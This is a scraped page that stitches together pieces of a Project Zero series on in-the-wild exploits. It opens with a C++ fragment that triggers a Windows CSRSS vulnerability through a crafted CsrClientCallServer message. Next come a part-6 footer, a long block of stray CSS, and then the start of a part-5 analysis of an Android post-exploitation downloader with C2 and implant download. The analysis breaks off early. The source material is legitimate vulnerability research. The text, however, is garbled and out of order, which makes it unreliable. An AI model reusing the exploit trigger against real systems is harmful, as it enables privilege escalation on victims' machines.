  CsrAllocateCaptureBuffer = (f_CsrAllocateCaptureBuffer)GetProcAddress(

      Ntdll, "CsrAllocateCaptureBuffer");

  CsrClientCallServer =

      (f_CsrClientCallServer)GetProcAddress(Ntdll, "CsrClientCallServer");

  CsrCaptureMessageString = (f_CsrCaptureMessageString)GetProcAddress(

      Ntdll, "CsrCaptureMessageString");

  char Message[0x220];

  memset(Message, 0, 0x220);

  PVOID CaptureBuffer = CsrAllocateCaptureBuffer(4, 0x300);

  std::string Manifest = MANIFEST_CONTENTS;

  Manifest.replace(Manifest.find('@'), 1, 0x2000, 'A');

  // There's no public definition of the relevant CSR_API_MSG structure.

  // The offsets and values are taken directly from the exploit.

  *(uint32_t*)(Message + 0x40) = 0xc1;

  *(uint16_t*)(Message + 0x44) = 9;

  *(uint16_t*)(Message + 0x59) = 0x201;

  // CSRSS loads the manifest contents from the client process memory;

  // therefore, it doesn't have to be stored in the capture buffer.

  *(const char**)(Message + 0x80) = Manifest.c_str();

  *(uint64_t*)(Message + 0x88) = Manifest.size();

  *(uint64_t*)(Message + 0xf0) = 1;

  CaptureUnicodeString(CaptureBuffer, Message + 0x48, NULL_BYTE_STR, 2);

  CaptureUnicodeString(CaptureBuffer, Message + 0x60, MANIFEST_NAME);

  CaptureUnicodeString(CaptureBuffer, Message + 0xc8, PATH);

  CaptureUnicodeString(CaptureBuffer, Message + 0x120, MODULE);

  // Triggers the issue by setting ApplicationName.MaxLength to a large value.

  *(uint16_t*)(Message + 0x122) = 0x8000;

  CsrClientCallServer(Message, CaptureBuffer, 0x10017, 0xf0);


This is part 6 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To read the other parts of the series, see the introduction post.

Kategorie: Hacking & Security

In-the-Wild Series: Android Post-Exploitation

12 Leden, 2021 - 18:37
@import url('');.lst-kix_awzz6jhne7dj-6>li:before{content:"\0025cf "}.lst-kix_ps5q64vwwpgt-4>li:before{content:"- "}.lst-kix_ps5q64vwwpgt-3>li:before{content:"- "}.lst-kix_awzz6jhne7dj-4>li:before{content:"\0025cb "}.lst-kix_awzz6jhne7dj-8>li:before{content:"\0025a0 "}.lst-kix_ps5q64vwwpgt-2>li:before{content:"- "}.lst-kix_ps5q64vwwpgt-5>li:before{content:"- "}.lst-kix_ps5q64vwwpgt-6>li:before{content:"- "}.lst-kix_awzz6jhne7dj-5>li:before{content:"\0025a0 "}.lst-kix_awzz6jhne7dj-2>li:before{content:"\0025a0 "}.lst-kix_r1xag6gnfr2m-8>li:before{content:"\0025a0 "}.lst-kix_awzz6jhne7dj-3>li:before{content:"\0025cf "}.lst-kix_r1xag6gnfr2m-7>li:before{content:"\0025cb "}.lst-kix_r1xag6gnfr2m-4>li:before{content:"\0025cb "}.lst-kix_awzz6jhne7dj-0>li:before{content:"\0025cf "}.lst-kix_r1xag6gnfr2m-2>li:before{content:"\0025a0 "}.lst-kix_r1xag6gnfr2m-6>li:before{content:"\0025cf "}ol.lst-kix_hln5uguf3qqq-8.start{counter-reset:lst-ctn-kix_hln5uguf3qqq-8 0}.lst-kix_awzz6jhne7dj-1>li:before{content:"\0025cb "}.lst-kix_r1xag6gnfr2m-1>li:before{content:"\0025cb "}.lst-kix_r1xag6gnfr2m-5>li:before{content:"\0025a0 "}.lst-kix_ps5q64vwwpgt-0>li:before{content:"- "}.lst-kix_dxgqhjhnlsrk-1>li{counter-increment:lst-ctn-kix_dxgqhjhnlsrk-1}.lst-kix_ps5q64vwwpgt-1>li:before{content:"- "}.lst-kix_r1xag6gnfr2m-3>li:before{content:"\0025cf "}.lst-kix_r1xag6gnfr2m-0>li:before{content:"\0025cf "}ol.lst-kix_hln5uguf3qqq-3.start{counter-reset:lst-ctn-kix_hln5uguf3qqq-3 0}.lst-kix_6u8prhcp5m48-7>li:before{content:"\0025cb "}.lst-kix_6u8prhcp5m48-8>li:before{content:"\0025a0 "}ul.lst-kix_6u8prhcp5m48-7{list-style-type:none}ul.lst-kix_6u8prhcp5m48-8{list-style-type:none}ol.lst-kix_dxgqhjhnlsrk-3.start{counter-reset:lst-ctn-kix_dxgqhjhnlsrk-3 0}ul.lst-kix_6u8prhcp5m48-5{list-style-type:none}ul.lst-kix_6u8prhcp5m48-6{list-style-type:none}ul.lst-kix_6u8prhcp5m48-3{list-style-type:none}ul.lst-kix_6u8prhcp5m48-4{list-style-type:none}ul.lst-kix_6u8prhcp5m48-1{list-style-type:none}.lst-kix_ps5q64vwwpgt-7>li:before{content:"- "}.lst-kix_ps5q64vwwpgt-8>li:before{content:"- "}ul.lst-kix_6u8prhcp5m48-2{list-style-type:none}ul.lst-kix_6u8prhcp5m48-0{list-style-type:none}.lst-kix_awzz6jhne7dj-7>li:before{content:"\0025cb "}ul.lst-kix_i4lkh545s3dk-1{list-style-type:none}ul.lst-kix_i4lkh545s3dk-0{list-style-type:none}ul.lst-kix_rd3fh31ar0ko-2{list-style-type:none}ul.lst-kix_rd3fh31ar0ko-1{list-style-type:none}ul.lst-kix_rd3fh31ar0ko-0{list-style-type:none}.lst-kix_i4lkh545s3dk-3>li:before{content:"\0025cf "}.lst-kix_i4lkh545s3dk-5>li:before{content:"\0025a0 "}ul.lst-kix_rd3fh31ar0ko-6{list-style-type:none}ul.lst-kix_zapj04isd5g3-6{list-style-type:none}ul.lst-kix_rd3fh31ar0ko-5{list-style-type:none}ul.lst-kix_zapj04isd5g3-5{list-style-type:none}ul.lst-kix_rd3fh31ar0ko-4{list-style-type:none}ul.lst-kix_zapj04isd5g3-8{list-style-type:none}ul.lst-kix_rd3fh31ar0ko-3{list-style-type:none}.lst-kix_i4lkh545s3dk-4>li:before{content:"\0025cb "}ul.lst-kix_zapj04isd5g3-7{list-style-type:none}.lst-kix_i4lkh545s3dk-0>li:before{content:"\0025cf "}.lst-kix_6u8prhcp5m48-1>li:before{content:"\0025cb "}ul.lst-kix_rd3fh31ar0ko-8{list-style-type:none}ul.lst-kix_rd3fh31ar0ko-7{list-style-type:none}.lst-kix_i4lkh545s3dk-7>li:before{content:"\0025cb "}.lst-kix_6u8prhcp5m48-0>li:before{content:"\0025cf "}.lst-kix_i4lkh545s3dk-6>li:before{content:"\0025cf "}.lst-kix_6u8prhcp5m48-5>li:before{content:"\0025a0 "}.lst-kix_6u8prhcp5m48-6>li:before{content:"\0025cf "}.lst-kix_dxgqhjhnlsrk-8>li{counter-increment:lst-ctn-kix_dxgqhjhnlsrk-8}ul.lst-kix_zapj04isd5g3-2{list-style-type:none}ul.lst-kix_zapj04isd5g3-1{list-style-type:none}.lst-kix_6u8prhcp5m48-2>li:before{content:"\0025a0 "}.lst-kix_i4lkh545s3dk-1>li:before{content:"\0025cb "}ul.lst-kix_zapj04isd5g3-4{list-style-type:none}ul.lst-kix_zapj04isd5g3-3{list-style-type:none}.lst-kix_6u8prhcp5m48-3>li:before{content:"\0025cf "}.lst-kix_6u8prhcp5m48-4>li:before{content:"\0025cb "}ul.lst-kix_zapj04isd5g3-0{list-style-type:none}.lst-kix_i4lkh545s3dk-2>li:before{content:"\0025a0 "}ol.lst-kix_hln5uguf3qqq-0{list-style-type:none}ol.lst-kix_hln5uguf3qqq-1{list-style-type:none}ol.lst-kix_hln5uguf3qqq-2{list-style-type:none}ol.lst-kix_hln5uguf3qqq-3{list-style-type:none}ol.lst-kix_hln5uguf3qqq-4{list-style-type:none}ol.lst-kix_dxgqhjhnlsrk-2.start{counter-reset:lst-ctn-kix_dxgqhjhnlsrk-2 0}.lst-kix_hln5uguf3qqq-0>li{counter-increment:lst-ctn-kix_hln5uguf3qqq-0}ol.lst-kix_hln5uguf3qqq-5{list-style-type:none}ol.lst-kix_hln5uguf3qqq-6{list-style-type:none}ol.lst-kix_hln5uguf3qqq-7{list-style-type:none}ol.lst-kix_hln5uguf3qqq-8{list-style-type:none}.lst-kix_i4lkh545s3dk-8>li:before{content:"\0025a0 "}ol.lst-kix_dxgqhjhnlsrk-8.start{counter-reset:lst-ctn-kix_dxgqhjhnlsrk-8 0}.lst-kix_dxgqhjhnlsrk-4>li:before{content:"(" counter(lst-ctn-kix_dxgqhjhnlsrk-4,lower-latin) ") "}ul.lst-kix_7or0zemg5mr6-4{list-style-type:none}ol.lst-kix_hln5uguf3qqq-4.start{counter-reset:lst-ctn-kix_hln5uguf3qqq-4 0}ul.lst-kix_7or0zemg5mr6-5{list-style-type:none}ul.lst-kix_7or0zemg5mr6-2{list-style-type:none}ul.lst-kix_7or0zemg5mr6-3{list-style-type:none}ul.lst-kix_7or0zemg5mr6-8{list-style-type:none}ul.lst-kix_7or0zemg5mr6-6{list-style-type:none}ul.lst-kix_7or0zemg5mr6-7{list-style-type:none}.lst-kix_7or0zemg5mr6-0>li:before{content:"\0025cf "}.lst-kix_dxgqhjhnlsrk-2>li:before{content:"" counter(lst-ctn-kix_dxgqhjhnlsrk-2,lower-roman) ") "}ul.lst-kix_7or0zemg5mr6-0{list-style-type:none}ul.lst-kix_7or0zemg5mr6-1{list-style-type:none}.lst-kix_dxgqhjhnlsrk-5>li{counter-increment:lst-ctn-kix_dxgqhjhnlsrk-5}.lst-kix_hln5uguf3qqq-4>li{counter-increment:lst-ctn-kix_hln5uguf3qqq-4}.lst-kix_7or0zemg5mr6-4>li:before{content:"\0025cb "}.lst-kix_7or0zemg5mr6-6>li:before{content:"\0025cf "}.lst-kix_dxgqhjhnlsrk-0>li:before{content:"" counter(lst-ctn-kix_dxgqhjhnlsrk-0,decimal) ") "}.lst-kix_7or0zemg5mr6-2>li:before{content:"\0025a0 "}ul.lst-kix_awzz6jhne7dj-0{list-style-type:none}.lst-kix_x1md2wd498rf-6>li:before{content:"\0025cf "}ul.lst-kix_awzz6jhne7dj-3{list-style-type:none}ul.lst-kix_awzz6jhne7dj-4{list-style-type:none}ul.lst-kix_awzz6jhne7dj-1{list-style-type:none}ul.lst-kix_awzz6jhne7dj-2{list-style-type:none}ul.lst-kix_awzz6jhne7dj-7{list-style-type:none}ul.lst-kix_awzz6jhne7dj-8{list-style-type:none}ul.lst-kix_awzz6jhne7dj-5{list-style-type:none}.lst-kix_x1md2wd498rf-4>li:before{content:"\0025cb "}ul.lst-kix_awzz6jhne7dj-6{list-style-type:none}.lst-kix_rd3fh31ar0ko-6>li:before{content:"\0025cf "}.lst-kix_rd3fh31ar0ko-4>li:before{content:"\0025cb "}.lst-kix_rd3fh31ar0ko-8>li:before{content:"\0025a0 "}.lst-kix_hln5uguf3qqq-5>li{counter-increment:lst-ctn-kix_hln5uguf3qqq-5}.lst-kix_x1md2wd498rf-8>li:before{content:"\0025a0 "}ul.lst-kix_i4lkh545s3dk-3{list-style-type:none}ul.lst-kix_i4lkh545s3dk-2{list-style-type:none}.lst-kix_zapj04isd5g3-5>li:before{content:"\0025a0 "}ul.lst-kix_i4lkh545s3dk-5{list-style-type:none}ul.lst-kix_i4lkh545s3dk-4{list-style-type:none}.lst-kix_rd3fh31ar0ko-0>li:before{content:"\0025cf "}ul.lst-kix_i4lkh545s3dk-7{list-style-type:none}.lst-kix_dxgqhjhnlsrk-3>li{counter-increment:lst-ctn-kix_dxgqhjhnlsrk-3}ul.lst-kix_i4lkh545s3dk-6{list-style-type:none}.lst-kix_zapj04isd5g3-7>li:before{content:"\0025cb "}.lst-kix_h9wb9p9kfhen-0>li:before{content:"\0025cf "}ul.lst-kix_i4lkh545s3dk-8{list-style-type:none}.lst-kix_rd3fh31ar0ko-2>li:before{content:"\0025a0 "}.lst-kix_h9wb9p9kfhen-2>li:before{content:"\0025a0 "}.lst-kix_hln5uguf3qqq-5>li:before{content:"" counter(lst-ctn-kix_hln5uguf3qqq-5,lower-roman) ". "}ul.lst-kix_r1xag6gnfr2m-1{list-style-type:none}ul.lst-kix_r1xag6gnfr2m-0{list-style-type:none}ul.lst-kix_r1xag6gnfr2m-3{list-style-type:none}ul.lst-kix_r1xag6gnfr2m-2{list-style-type:none}ol.lst-kix_hln5uguf3qqq-2.start{counter-reset:lst-ctn-kix_hln5uguf3qqq-2 0}ul.lst-kix_bod8qw4piq7-8{list-style-type:none}ul.lst-kix_bod8qw4piq7-7{list-style-type:none}.lst-kix_h9wb9p9kfhen-4>li:before{content:"\0025cb "}.lst-kix_h9wb9p9kfhen-8>li:before{content:"\0025a0 "}ul.lst-kix_bod8qw4piq7-6{list-style-type:none}ul.lst-kix_bod8qw4piq7-5{list-style-type:none}ul.lst-kix_bod8qw4piq7-4{list-style-type:none}ul.lst-kix_r1xag6gnfr2m-8{list-style-type:none}ul.lst-kix_bod8qw4piq7-3{list-style-type:none}ul.lst-kix_bod8qw4piq7-2{list-style-type:none}.lst-kix_hln5uguf3qqq-7>li:before{content:"" counter(lst-ctn-kix_hln5uguf3qqq-7,lower-latin) ". "}ul.lst-kix_bod8qw4piq7-1{list-style-type:none}ul.lst-kix_r1xag6gnfr2m-5{list-style-type:none}ul.lst-kix_bod8qw4piq7-0{list-style-type:none}ul.lst-kix_r1xag6gnfr2m-4{list-style-type:none}ul.lst-kix_r1xag6gnfr2m-7{list-style-type:none}.lst-kix_h9wb9p9kfhen-6>li:before{content:"\0025cf "}ul.lst-kix_r1xag6gnfr2m-6{list-style-type:none}.lst-kix_7gq3ujenf0zs-0>li:before{content:"\0025cf "}.lst-kix_7gq3ujenf0zs-2>li:before{content:"\0025a0 "}.lst-kix_dxgqhjhnlsrk-4>li{counter-increment:lst-ctn-kix_dxgqhjhnlsrk-4}.lst-kix_7gq3ujenf0zs-4>li:before{content:"\0025cb "}.lst-kix_7or0zemg5mr6-8>li:before{content:"\0025a0 "}.lst-kix_bod8qw4piq7-7>li:before{content:"\0025cb "}ol.lst-kix_hln5uguf3qqq-1.start{counter-reset:lst-ctn-kix_hln5uguf3qqq-1 0}.lst-kix_7gq3ujenf0zs-8>li:before{content:"\0025a0 "}.lst-kix_hln5uguf3qqq-3>li:before{content:"" counter(lst-ctn-kix_hln5uguf3qqq-3,decimal) ". "}.lst-kix_bod8qw4piq7-1>li:before{content:"\0025cb "}.lst-kix_bod8qw4piq7-5>li:before{content:"\0025a0 "}.lst-kix_hln5uguf3qqq-1>li:before{content:"" counter(lst-ctn-kix_hln5uguf3qqq-1,lower-latin) ". "}.lst-kix_7gq3ujenf0zs-6>li:before{content:"\0025cf "}.lst-kix_bod8qw4piq7-3>li:before{content:"\0025cf "}.lst-kix_dxgqhjhnlsrk-0>li{counter-increment:lst-ctn-kix_dxgqhjhnlsrk-0}ul.lst-kix_h9wb9p9kfhen-0{list-style-type:none}ol.lst-kix_dxgqhjhnlsrk-6.start{counter-reset:lst-ctn-kix_dxgqhjhnlsrk-6 0}ul.lst-kix_h9wb9p9kfhen-7{list-style-type:none}ul.lst-kix_h9wb9p9kfhen-8{list-style-type:none}ul.lst-kix_h9wb9p9kfhen-5{list-style-type:none}ul.lst-kix_h9wb9p9kfhen-6{list-style-type:none}ul.lst-kix_h9wb9p9kfhen-3{list-style-type:none}ul.lst-kix_h9wb9p9kfhen-4{list-style-type:none}ul.lst-kix_h9wb9p9kfhen-1{list-style-type:none}ul.lst-kix_h9wb9p9kfhen-2{list-style-type:none}ol.lst-kix_hln5uguf3qqq-0.start{counter-reset:lst-ctn-kix_hln5uguf3qqq-0 0}ol.lst-kix_dxgqhjhnlsrk-0{list-style-type:none}ol.lst-kix_dxgqhjhnlsrk-2{list-style-type:none}ol.lst-kix_dxgqhjhnlsrk-1{list-style-type:none}ol.lst-kix_dxgqhjhnlsrk-4{list-style-type:none}ol.lst-kix_dxgqhjhnlsrk-0.start{counter-reset:lst-ctn-kix_dxgqhjhnlsrk-0 0}ol.lst-kix_dxgqhjhnlsrk-3{list-style-type:none}ol.lst-kix_dxgqhjhnlsrk-6{list-style-type:none}ol.lst-kix_dxgqhjhnlsrk-5{list-style-type:none}ol.lst-kix_dxgqhjhnlsrk-8{list-style-type:none}ol.lst-kix_dxgqhjhnlsrk-7{list-style-type:none}ul.lst-kix_7gq3ujenf0zs-8{list-style-type:none}ul.lst-kix_7gq3ujenf0zs-6{list-style-type:none}ol.lst-kix_hln5uguf3qqq-6.start{counter-reset:lst-ctn-kix_hln5uguf3qqq-6 0}ul.lst-kix_7gq3ujenf0zs-7{list-style-type:none}ul.lst-kix_7gq3ujenf0zs-4{list-style-type:none}ul.lst-kix_7gq3ujenf0zs-5{list-style-type:none}ul.lst-kix_7gq3ujenf0zs-2{list-style-type:none}ul.lst-kix_7gq3ujenf0zs-3{list-style-type:none}ul.lst-kix_7gq3ujenf0zs-0{list-style-type:none}.lst-kix_zapj04isd5g3-4>li:before{content:"\0025cb "}ul.lst-kix_7gq3ujenf0zs-1{list-style-type:none}ol.lst-kix_dxgqhjhnlsrk-1.start{counter-reset:lst-ctn-kix_dxgqhjhnlsrk-1 0}.lst-kix_zapj04isd5g3-3>li:before{content:"\0025cf "}.lst-kix_zapj04isd5g3-1>li:before{content:"\0025cb "}.lst-kix_zapj04isd5g3-2>li:before{content:"\0025a0 "}.lst-kix_zapj04isd5g3-0>li:before{content:"\0025cf "}.lst-kix_x1md2wd498rf-1>li:before{content:"\0025cb "}.lst-kix_x1md2wd498rf-3>li:before{content:"\0025cf "}.lst-kix_x1md2wd498rf-2>li:before{content:"\0025a0 "}ol.lst-kix_hln5uguf3qqq-5.start{counter-reset:lst-ctn-kix_hln5uguf3qqq-5 0}.lst-kix_x1md2wd498rf-0>li:before{content:"\0025cf "}.lst-kix_hln5uguf3qqq-6>li{counter-increment:lst-ctn-kix_hln5uguf3qqq-6}ul.lst-kix_x1md2wd498rf-0{list-style-type:none}ul.lst-kix_x1md2wd498rf-5{list-style-type:none}ul.lst-kix_x1md2wd498rf-6{list-style-type:none}ul.lst-kix_x1md2wd498rf-7{list-style-type:none}ul.lst-kix_x1md2wd498rf-8{list-style-type:none}.lst-kix_hln5uguf3qqq-3>li{counter-increment:lst-ctn-kix_hln5uguf3qqq-3}ul.lst-kix_x1md2wd498rf-1{list-style-type:none}ul.lst-kix_x1md2wd498rf-2{list-style-type:none}ul.lst-kix_x1md2wd498rf-3{list-style-type:none}ul.lst-kix_x1md2wd498rf-4{list-style-type:none}.lst-kix_dxgqhjhnlsrk-2>li{counter-increment:lst-ctn-kix_dxgqhjhnlsrk-2}.lst-kix_dxgqhjhnlsrk-8>li:before{content:"" counter(lst-ctn-kix_dxgqhjhnlsrk-8,lower-roman) ". "}.lst-kix_dxgqhjhnlsrk-6>li:before{content:"" counter(lst-ctn-kix_dxgqhjhnlsrk-6,decimal) ". "}.lst-kix_dxgqhjhnlsrk-7>li:before{content:"" counter(lst-ctn-kix_dxgqhjhnlsrk-7,lower-latin) ". "}.lst-kix_dxgqhjhnlsrk-1>li:before{content:"" counter(lst-ctn-kix_dxgqhjhnlsrk-1,lower-latin) ") "}.lst-kix_dxgqhjhnlsrk-5>li:before{content:"(" counter(lst-ctn-kix_dxgqhjhnlsrk-5,lower-roman) ") "}.lst-kix_7or0zemg5mr6-1>li:before{content:"\0025cb "}.lst-kix_dxgqhjhnlsrk-3>li:before{content:"(" counter(lst-ctn-kix_dxgqhjhnlsrk-3,decimal) ") "}.lst-kix_7or0zemg5mr6-5>li:before{content:"\0025a0 "}.lst-kix_7or0zemg5mr6-3>li:before{content:"\0025cf "}ol.lst-kix_dxgqhjhnlsrk-7.start{counter-reset:lst-ctn-kix_dxgqhjhnlsrk-7 0}.lst-kix_x1md2wd498rf-7>li:before{content:"\0025cb "}.lst-kix_x1md2wd498rf-5>li:before{content:"\0025a0 "}.lst-kix_rd3fh31ar0ko-5>li:before{content:"\0025a0 "}.lst-kix_rd3fh31ar0ko-7>li:before{content:"\0025cb "}ul.lst-kix_ps5q64vwwpgt-7{list-style-type:none}ul.lst-kix_ps5q64vwwpgt-8{list-style-type:none}ul.lst-kix_ps5q64vwwpgt-5{list-style-type:none}ul.lst-kix_ps5q64vwwpgt-6{list-style-type:none}ul.lst-kix_ps5q64vwwpgt-3{list-style-type:none}ul.lst-kix_ps5q64vwwpgt-4{list-style-type:none}.lst-kix_hln5uguf3qqq-2>li{counter-increment:lst-ctn-kix_hln5uguf3qqq-2}ul.lst-kix_ps5q64vwwpgt-1{list-style-type:none}ul.lst-kix_ps5q64vwwpgt-2{list-style-type:none}ul.lst-kix_ps5q64vwwpgt-0{list-style-type:none}.lst-kix_dxgqhjhnlsrk-6>li{counter-increment:lst-ctn-kix_dxgqhjhnlsrk-6}.lst-kix_zapj04isd5g3-6>li:before{content:"\0025cf "}.lst-kix_h9wb9p9kfhen-1>li:before{content:"\0025cb "}.lst-kix_rd3fh31ar0ko-1>li:before{content:"\0025cb "}.lst-kix_rd3fh31ar0ko-3>li:before{content:"\0025cf "}.lst-kix_hln5uguf3qqq-8>li{counter-increment:lst-ctn-kix_hln5uguf3qqq-8}.lst-kix_bod8qw4piq7-0>li:before{content:"\0025cf "}.lst-kix_h9wb9p9kfhen-3>li:before{content:"\0025cf "}.lst-kix_zapj04isd5g3-8>li:before{content:"\0025a0 "}.lst-kix_hln5uguf3qqq-4>li:before{content:"" counter(lst-ctn-kix_hln5uguf3qqq-4,lower-latin) ". "}.lst-kix_hln5uguf3qqq-1>li{counter-increment:lst-ctn-kix_hln5uguf3qqq-1}.lst-kix_h9wb9p9kfhen-5>li:before{content:"\0025a0 "}.lst-kix_hln5uguf3qqq-6>li:before{content:"" counter(lst-ctn-kix_hln5uguf3qqq-6,decimal) ". "}.lst-kix_h9wb9p9kfhen-7>li:before{content:"\0025cb "}ol.lst-kix_dxgqhjhnlsrk-4.start{counter-reset:lst-ctn-kix_dxgqhjhnlsrk-4 0}.lst-kix_hln5uguf3qqq-7>li{counter-increment:lst-ctn-kix_hln5uguf3qqq-7}.lst-kix_hln5uguf3qqq-8>li:before{content:"" counter(lst-ctn-kix_hln5uguf3qqq-8,lower-roman) ". "}.lst-kix_dxgqhjhnlsrk-7>li{counter-increment:lst-ctn-kix_dxgqhjhnlsrk-7}.lst-kix_7gq3ujenf0zs-1>li:before{content:"\0025cb "}.lst-kix_7gq3ujenf0zs-5>li:before{content:"\0025a0 "}.lst-kix_bod8qw4piq7-8>li:before{content:"\0025a0 "}{margin-left:-18pt;white-space:nowrap;display:inline-block;min-width:18pt}ol.lst-kix_hln5uguf3qqq-7.start{counter-reset:lst-ctn-kix_hln5uguf3qqq-7 0}.lst-kix_7gq3ujenf0zs-3>li:before{content:"\0025cf "}.lst-kix_7or0zemg5mr6-7>li:before{content:"\0025cb "}.lst-kix_bod8qw4piq7-4>li:before{content:"\0025cb "}.lst-kix_bod8qw4piq7-6>li:before{content:"\0025cf "}.lst-kix_hln5uguf3qqq-2>li:before{content:"" counter(lst-ctn-kix_hln5uguf3qqq-2,lower-roman) ". "}ol.lst-kix_dxgqhjhnlsrk-5.start{counter-reset:lst-ctn-kix_dxgqhjhnlsrk-5 0}.lst-kix_bod8qw4piq7-2>li:before{content:"\0025a0 "}.lst-kix_hln5uguf3qqq-0>li:before{content:"" counter(lst-ctn-kix_hln5uguf3qqq-0,decimal) ". "}.lst-kix_7gq3ujenf0zs-7>li:before{content:"\0025cb "}ol{margin:0;padding:0}table td,table th{padding:0}.c32{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#e0e0e0;border-top-width:1pt;border-right-width:1pt;border-left-color:#e0e0e0;vertical-align:top;border-right-color:#e0e0e0;border-left-width:1pt;border-top-style:solid;background-color:#fafafa;border-left-style:solid;border-bottom-width:1pt;width:468pt;border-top-color:#e0e0e0;border-bottom-style:solid}.c29{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:155.4pt;border-top-color:#000000;border-bottom-style:solid}.c19{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:157.2pt;border-top-color:#000000;border-bottom-style:solid}.c18{padding-top:8pt;padding-bottom:0pt;line-height:1.25;page-break-after:avoid;orphans:2;widows:2;text-align:left}.c13{padding-top:10pt;padding-bottom:0pt;line-height:1.25;page-break-after:avoid;orphans:2;widows:2;text-align:left}.c1{padding-top:0pt;padding-bottom:0pt;line-height:1.25;orphans:2;widows:2;text-align:left}.c14{background-color:#ffffff;color:#545454;text-decoration:none;vertical-align:baseline;font-size:11pt;font-style:italic}.c20{color:#545454;text-decoration:none;vertical-align:baseline;font-size:14pt;font-style:normal}.c10{color:#545454;text-decoration:none;vertical-align:baseline;font-size:10pt;font-style:normal}.c5{color:#545454;text-decoration:none;vertical-align:baseline;font-size:11pt;font-style:normal}.c39{font-size:10pt;font-family:"Courier New";color:#000000;font-weight:700}.c22{padding-top:0pt;padding-bottom:0pt;line-height:1.15;text-align:left}.c28{border-spacing:0;border-collapse:collapse;margin-right:auto}.c30{color:#545454;font-weight:700;font-size:18pt;font-family:"Arial"}.c9{padding-top:0pt;padding-bottom:0pt;line-height:1.0;text-align:left}.c2{font-size:10pt;font-family:"Courier New";color:#000000;font-weight:400}.c17{-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline;text-decoration-skip-ink:none}.c21{text-decoration:none;vertical-align:baseline;font-style:normal}.c0{border:1px solid black;margin:5px}.c33{font-weight:400;font-family:"Google Sans"}.c6{margin-left:36pt;padding-left:0pt}.c15{padding:0;margin:0}.c37{orphans:2;widows:2}.c38{max-width:468pt;padding:72pt 72pt 72pt 72pt}.c25{font-size:10pt;color:#3367d6}.c34{margin-left:72pt;padding-left:0pt}.c3{font-weight:400;font-family:"Arial"}.c35{color:inherit;text-decoration:inherit}.c23{font-size:10pt;color:#9c27b0}.c26{color:#000000;font-size:11pt}.c12{font-size:10pt;color:#616161}.c24{color:#545454;font-size:13pt}.c11{font-size:10pt;color:#c53929}.c7{font-weight:400;font-family:"Courier New"}.c27{background-color:#ffffff}.c8{color:#0d904f}.c4{height:11pt}.c31{font-style:italic}.c16{height:0pt}.c36{margin-left:36pt}.title{padding-top:0pt;color:#4285f4;font-size:24pt;padding-bottom:0pt;font-family:"Google Sans";line-height:1.25;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#999999;font-size:11pt;padding-bottom:10pt;font-family:"Google Sans";line-height:1.25;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}li{color:#545454;font-size:11pt;font-family:"Google Sans"}p{margin:0;color:#545454;font-size:11pt;font-family:"Google Sans"}h1{padding-top:10pt;color:#545454;font-weight:700;font-size:18pt;padding-bottom:0pt;font-family:"Google Sans";line-height:1.25;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:10pt;color:#545454;font-size:14pt;padding-bottom:0pt;font-family:"Google Sans";line-height:1.25;page-break-after:avoid;orphans:2;widows:2;text-align:left}h3{padding-top:8pt;color:#545454;font-size:13pt;padding-bottom:0pt;font-family:"Google Sans";line-height:1.25;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:8pt;color:#666666;font-weight:700;font-size:12pt;padding-bottom:0pt;font-family:"Google Sans";line-height:1.25;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:8pt;-webkit-text-decoration-skip:none;color:#666666;text-decoration:underline;font-size:12pt;padding-bottom:0pt;line-height:1.25;page-break-after:avoid;text-decoration-skip-ink:none;font-family:"Google Sans";orphans:2;widows:2;text-align:left}h6{padding-top:8pt;color:#666666;font-size:11pt;padding-bottom:0pt;font-family:"Trebuchet MS";line-height:1.25;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}

This is part 5 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To read the other parts of the series, see the introduction post.

Posted by Maddie Stone, Project Zero

A deep-dive into the implant used by a high-tier attacker against Android devices in 2020


This post covers what happens once the Android device has been successfully rooted by one of the exploits described in the previous post. What’s especially notable is that while the exploit chain only used known, and some quite old, n-day exploits, the subsequent code is extremely well-engineered and thorough. This leads us to believe that the choice to use n-days is likely not due to a lack of technical expertise.

This post describes what happens post-exploitation of the exploit chain. For this post, I will be calling different portions of the exploit chain as “stage X”. These stage numbers refer to:

  • Stage 1: Chrome renderer exploit
  • Stage 2: Android privilege escalation exploit
  • Stage 3: Post-exploitation downloader ← *described in this post!*
  • Stage 4: Implant

This post details stage 3, the code that runs post exploitation. Stage 3 is an ARM ELF file that expects to run as root. This stage 3 ELF is embedded in the stage 2 binary in the data section. Stage 3 is a downloader for stage 4.

As stated at the beginning, this stage, stage 3,  is a very well-engineered piece of software. It is very thorough in its methods to hide its behavior and ensure that it is running on the correct targeted device. Stage 3 includes obfuscation, many anti-analysis checks, detailed logging, command and control (C2) server communications, and ultimately, the downloading and executing of Stage 4. Based on the size and modularity of the code, it seems likely that it was developed by a team rather than a single individual.

So let’s get into the fun!


Once stage 2 has successfully rooted the device and modified different security settings, it loads stage 3. Stage 3 is embedded in the data section of stage 2 and is 0x436C bytes in size. Stage 2 includes a variety of different methods to load the stage 3 ELF including writing it to /proc/self/mem. Once one of these methods is successful, execution transfers to stage 3.

This stage 3 ELF exports two functions: init and d. init is the function called by stage 2 to begin execution of stage 3. However, the main functionality for this binary is not in this function. Instead it is in two functions that are referenced by the ELF’s .init_array. The first function ensures that the environment variables PATH, ANDROID_DATA, and ANDROID_ROOT are set to expected values. The second function spawns a new thread that runs the heavy lifting of the behavior of the binary. The init function simply calls pthread_join on the thread spawned by the second function in the .init_array so it will wait for that thread to terminate.

